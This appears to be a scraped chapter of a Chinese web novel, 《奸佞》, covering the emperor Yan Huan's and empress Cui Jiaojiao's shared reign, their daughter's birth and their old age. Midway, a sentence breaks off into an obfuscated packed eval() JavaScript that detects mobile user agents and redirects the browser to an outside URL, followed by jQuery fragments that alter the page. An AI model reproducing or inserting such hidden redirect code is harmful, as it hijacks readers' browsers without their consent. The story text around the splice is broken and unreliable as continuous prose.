88. 「百年盛世」

作品:《奸佞

    他用指尖在崔姣姣的耳垂轻轻一揉,低声道:


    “今日朔望大朝,要议河西赈灾的事。”


    说着,崔姣姣却已掀被下榻,赤足踩过怀朔新进贡的羊毛毯,回应着:


    “没事,我还是起了吧,昨日兵部递的折子我还没看完呢。”


    她随手扯过屏风上的一套绛紫朝服,这还是阎涣特意为她制的,绣着九凤暗纹,与龙袍同用金线。


    太极殿前,文武百官早已列队等候。


    当帝后并肩踏上玉阶时,老臣们早已见怪不怪,倒是新科进士们瞪大了眼睛。他们听闻帝后共治的传闻,却没想到皇后竟真与天子同坐龙椅,连太子的小座都只能让在侧位。


    “臣有本,启奏陛下。”


    户部尚书捧着账册出列,恭敬开口:


    “河西道三十七州,今岁蝗灾…”


    阎涣听着奏报,眼神不自觉瞥向崔姣姣处,只见她正凝神看沙盘,发觉阎涣不专心听大臣上述,还抬眼瞪他。崔姣姣刚要开口提醒,却见这人一脸肃穆地问尚书:


    “爱卿方才说缺多少石粮?”


    他又是这样,故意装作不专心的样子,逗她生气。


    退朝时,泗京落了雨,阎涣解下自己的玄色大氅罩在崔姣姣肩上,怕她着凉。她转身踮脚,替他理了理被雨水打湿的鬓角,阎涣又顺便为她系紧了领口的带子。


    二人不巧,听见有小宫女躲在廊柱后吸气惊讶道:


    “天呢,陛下给娘娘打理衣服呢!”


    “真是百闻不如一见,没想到四海盛传的恩爱帝后竟是真的!”


    二人憋着笑,不敢出言,怕吓到那小宫女们。


    不久后的中秋宫宴上,新选上来的宗正寺卿提起选秀之事。


    彼时,阎涣正专心给崔姣姣剥着螃蟹,闻言将金锤往案上轻轻一敲,力度不大,但威慑正好。满殿寂静中,他慢条斯理地擦净手指,沉声道:


    “朕曾对亡父牌位起誓,今生只皇后一人,绝无二心,更不可有异腹子。更何况,而今朕春秋正盛,太子聪慧过人,国本后继有人,朕为何偏要纳妃?”


    阎涣一挑眉,忽而道:


    “还是爱卿觉得,皇后与朕的嫡子,没有继承宗佻的资格啊。”


    一语出,宗正寺卿立马下跪请罪,阎涣笑着称自己不过玩笑,殿内便再次歌舞升平,不过满座官员人人自危,再不敢提选秀之事。


    老臣们面面相觑,却见小太子阎槐突然从食案后钻出来,捧着块月饼往父皇嘴里塞,口中喃喃着:


    “爹爹有迢迢和母亲就够了。”


    满殿哄笑中,阎涣咬住儿子递来的点心,顺势把小家伙拎到膝上。崔姣姣望着父子俩如出一辙的鼓囊囊的腮帮,低头轻笑。


    腊月里,骆绯带着策勒格日进了京。


    “好孩子,你我许久不见了。”


    骆绯用汉话说着,鬓角那一缕银发在风中浮动着。


    除夕守岁那晚,阎涣罕见地喝多了。他靠着母亲的肩膀,听她用汉语唱着他小时候常听的那些歌谣。崔姣姣看见他眼角有亮晶晶的东西一闪,很快隐没在骆绯的银饰间。


    “母亲。”


    阎涣突然用久违的称呼对她说着:


    “儿子现在过得很好。”


    上元灯节,帝后偷溜出宫。


    崔姣姣咬着糖葫芦,看阎涣站在猜灯谜的摊前皱眉。这位批阅万言奏折从不动摇的帝王,此刻却被“无边落木萧萧下”难住了。


    “打一个字。”


    她忍不住提示道:


    “将离昨日才批过这个字的折子。”


    阎涣突然眼睛一亮,俯身在她耳边道:


    “莫非是…‘朕’?”


    温热气息拂过耳垂,小贩笑着递来并蒂莲灯,口中说道:


    “夫人好福气,郎君猜中啦!”


    回宫时路过西市,有老农在卖新摘的荠菜,阎涣突然驻足,从荷包里倒出碎银,嘱咐着:


    “我们全要了。”


    崔姣姣诧异着递去一个眼神。


    阎涣将菜筐交给便衣道侍卫,笑着对她解释:


    “还记得你我于司州办案时,和阿泱便是一人吃了一碗荠菜馄饨。”


    满街灯火骤然模糊。


    崔姣姣想起那段时日的记忆,如今竟也变得遥远模糊,她却不知他记得这样清。


    声声闹市烟火中,阎涣背起走累的妻子。


    崔姣姣伏在他宽厚的背上,数着他发间新添的几根银丝,君王勤政,一日不敢懈怠民生,这便是最好的证据。


    春风穿过街巷,吹散她心底的一句呢喃。


    生生世世,都不要再分开。


    帝后同心,夏朝世道安稳,也因皇后勇敢贤德,与帝王两相情好,是以再未有人提及开枝散叶之事。


    一转眼,又是一年春花遍地时。


    崔姣姣发现自己有孕那日,御花园的流苏花正开到极盛。


    她弯腰拾起被风吹落的奏折时,突然一阵眩晕。阎涣原本在批阅军报,见状便赶忙扶了过来,玄色龙袍扫翻了墨砚都不顾。太医仔细地探着脉息,余光看见帝王的手紧紧攥着皇后的手腕。


    “恭喜娘娘,恭喜陛下!”


    话未说完,阎涣已经将崔姣姣打横抱起,她伏在阎涣的肩头上,看见沿途宫人们跪了一地,帝王的耳尖红得像是染了一树海棠。


    他们又有孩子了。


    随着腰身渐粗,崔姣姣开始嗜酸。


    阎涣每日下朝后,第一时间便会去瞧崔姣姣,他怀里总揣着东西,有时是岭南新贡的青梅,有时是民间寻来的糖渍山楂。


    这日,他神秘兮兮从袖中掏出个油纸包,竟是他托侍卫出宫采买的酸汤馄饨。


    “快吃,还温着的。”


    崔姣姣刚咬一口,突然“啊”地一声,一只手捂着腹部。阎涣瞬间变了脸色,却见她忽而舒展了眉头,拉着他的手便覆了上去。


    掌心下传来轻微的震动,像蝴蝶扑棱翅膀。


    这个曾一剑斩下敌将首级的男人,此刻竟手足无措地红了眼眶。


    夜半惊醒时,崔姣姣发现身侧空无一人。


    她循着灯光来到偏殿,看见阎涣正对着沙盘排兵布阵。走近了才发现,那沙盘竟是按产房格局布置的,各处还插着小旗,上有墨迹,“太医”“稳婆”“热水”…一应俱全。


    崔姣姣没忍住笑出声来,阎涣看见妻子,一时有些局促羞怯。


    “我是个武将,不懂妇人生产之事,怕忘了到时如何布置,这才…”


    话未说完,他盯着崔姣姣一张比月色更柔和的面容,双眸之中竟盛满了一种愁怅。


    “你生迢迢时,时局动荡、战乱四起,你一人守着后方,我却不在。”


    月光透过窗棂,照亮案头摊开的一本《妇人病理》,崔姣姣顺着微弱的光看去,这才注意到,他的中指沾有墨痕,定然是熬夜批注医书留下的。


    款步上前,崔姣姣小心坐在他的身侧,二人依偎着,在不掌灯火的殿内,静静听着一年春雨绵绵之声。


    此时此刻,他们真实地爱着,而这一生,是用前两世的折磨和离别换来的。


    腊月初八,崔姣姣在喝腊八粥时破了羊水。


    阎涣推门而入时,屋内的炉火烧得正旺,崔姣姣攥着阎涣的手,在他虎口留下月牙形的血痕。他不断用沾了温水的棉布给她擦汗,嘴里不断念着安慰的话。


    “看到头发了!”


    稳婆突然高呼。


    阎涣的手抖得比崔姣姣还厉害,一直到婴儿清亮的啼哭响起时,这个铁血帝王竟踉跄着跪在脚踏上,将脸埋进妻子汗湿的掌心。


    洗三礼上,帝王亲自抱着裹在明黄襁褓中的女儿接受百官朝贺。


    “朕之长女,封长夏公主。”


    阎涣的声音罕见地温柔:


    “皇后取名毓。”


    “字盈盈。”


    百官恭贺帝王喜获千金,那声音震慑山河,召告着他们的第二个孩子平安出生。


    崔姣姣靠在软枕上,看阳光透过琉璃窗,在女儿眉心投下小小的光斑。


    “姣姣河汉女…”


    帝王吻着她指尖轻吟,突然哽住。


    小公主恰在此刻睁开眼,一双黑白分明的眸子,水汪汪的,如同一对晶莹剔透的葡萄,此刻正倒映着父母交握的手,与窗外又开始飘落的细雪。


    暮春的夜风带着槐花香,从半开的雕花窗棂漫进来。


    烛火轻轻摇曳,在垂落的纱帐上投下两道相依的剪影。


    崔姣姣靠在阎涣肩头,指尖无意识地绕着他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245582|172205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一缕散落的发。那发丝里掺了几根银白,不仔细去看还发现不了,此时正在烛光下泛着温柔的色泽。


    阎涣忽然别过脸来,轻声开口,如同上辈子,垂暮之年的帝王于槐树下自问自答一般,再次问道:


    “姣姣。”


    阎涣突然开口,声音低沉:


    “你如今还觉得我是个坏人吗?”


    崔姣姣微微怔住。


    她抬头望去,看见他深邃的眉眼在光影间半明半暗,竟与记忆中那个临终前坐在槐树下的老人重叠在一起。


    “将离上辈子也如此问过。”


    她轻声道,手指抚上他眼角浮现的浅浅细纹。


    阎涣捉住她的手腕,将掌心贴在自己脸颊。这个在朝堂上杀伐决断的帝王,此刻眼中竟带着少年般的执拗:


    “我想你亲口告诉我。”


    窗外,传来细雨簌簌打落叶子的声音,惊起檐下一对栖息的飞燕。


    崔姣姣望见案头堆着的奏折,那上面全是各地丰收的捷报。转头,又看向摇篮里熟睡的小公主,粉嫩的小手还攥着阎涣白日给她编的草蝴蝶。


    “你确曾是千古唾骂的奸臣。”


    她直视着他的眼睛。


    “但我知你是伤痕累累的困兽,你把自己关在内心的囚笼,仇恨就是你的极夜。”


    阎涣的呼吸明显一滞,搂着她腰肢的手臂微微收紧。


    看着他这样,崔姣姣却笑了,指尖点在他心口处,回应道:


    “是上天垂怜,给我机会和你相知相许,助你踏出泥泞。如今,你是我的丈夫,我孩子的父亲,大夏的皇帝。”


    她望向窗外万家灯火,眼底染上晶莹的泪。


    “这一片海晏河清替我回答了你。”


    “阎将离,不再是权臣奸佞,是天下的贤君。”


    夜风突然大了,吹得案头书页哗哗作响,那是史官新修的《夏史》,正翻到记载帝后事迹的一页。


    阎涣低头吻住妻子时,一滴泪砸在她手背上,烫得惊人。


    “姣姣,我们就这样相守一生,再也不分开,好吗?”


    她点点头,不动声色握住丈夫的手掌。


    月还三十三年,上元夜,长安城灯火如昼。


    时年六十三岁的阎涣正牵着崔姣姣走在熙攘的街市,身后还跟着蹦蹦跳跳的小孙女。新任皇帝阎槐带着皇后微服出巡,正在猜灯谜的摊子前与民同乐。


    “祖父!”


    小孙女突然指着天空喊着:


    “看,孔明灯!”


    万千明灯冉冉升起,照亮了这座太平城池,护城河倒映着璀璨光影,恍若天上银河倾泻人间。


    阎涣替崔姣姣拢了拢狐裘,在她耳边低语:


    “你看这孔明灯,比我们大婚那年的灯会如何?”


    崔姣姣笑而不答,只是握紧了他布满皱纹的手。


    远处,传来孩童清亮的歌谣:


    “夏始帝后恩爱情,换来盛世百年春…”


    又二十年过去,白发苍苍的崔姣姣在藏书阁整理画卷时,发现了一幅从未见过的肖像。


    画中的阎涣还是三十岁的模样,正站在阎府老槐树下,手里捧着个熟睡的婴孩。画角题着两行小字:


    “吾妻姣姣,见画如晤。此生得遇,三生有幸。”


    窗外春光明媚,新栽的槐树已亭亭如盖,崔姣姣抱着画轴在躺椅上小憩时,恍惚听见有人轻唤她的小字。


    睁开眼,只见满室阳光静好,微风翻动着案头的史册,记载着她和阎涣坎坷却精彩的一生。


    “姣姣。”


    她扭过头去,阎涣正拄着拐杖走来,笑意盈盈地朝她伸出手,轻声道:


    “又在这坐了许久,当心倒春寒。”


    “迢迢差人送了些稀奇玩意儿,都是民间近日流行的,快随我看看。”


    她起身,握上阎涣一双粗糙有力的大手,跟在他的身后一步步走进了殿内。瞧着他挺拔如旧的背影,那双肩膀还是那样值得依靠,崔姣姣笑着,仿佛又回到作为崔瓷的十五岁。


    那年,她还是与虎谋皮的落魄公主,在他手下虚与委蛇,只求活下去。


    转眼,他们竟已相伴了五十五年。


    书页轻轻合拢,似有叹息随风散去,而窗外,又是一年槐花香。